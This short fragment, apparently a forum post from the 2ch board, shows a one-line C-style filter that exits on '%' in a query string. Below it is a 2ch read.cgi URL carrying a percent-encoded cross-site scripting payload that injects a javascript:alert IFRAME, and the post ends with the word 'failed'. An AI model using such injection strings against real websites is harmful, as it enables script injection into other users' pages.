if(strstr(ch2->zz_query_string, "%")){
exit;
}
http://ex10.2ch.net/test/read.cgi/%22%3E%3CIFRAME%20SRC=javascript:alert%28%27kusomiso.com%27%29;%20width=0%20height=0%3E%3C/IFRAME%3E
失敗。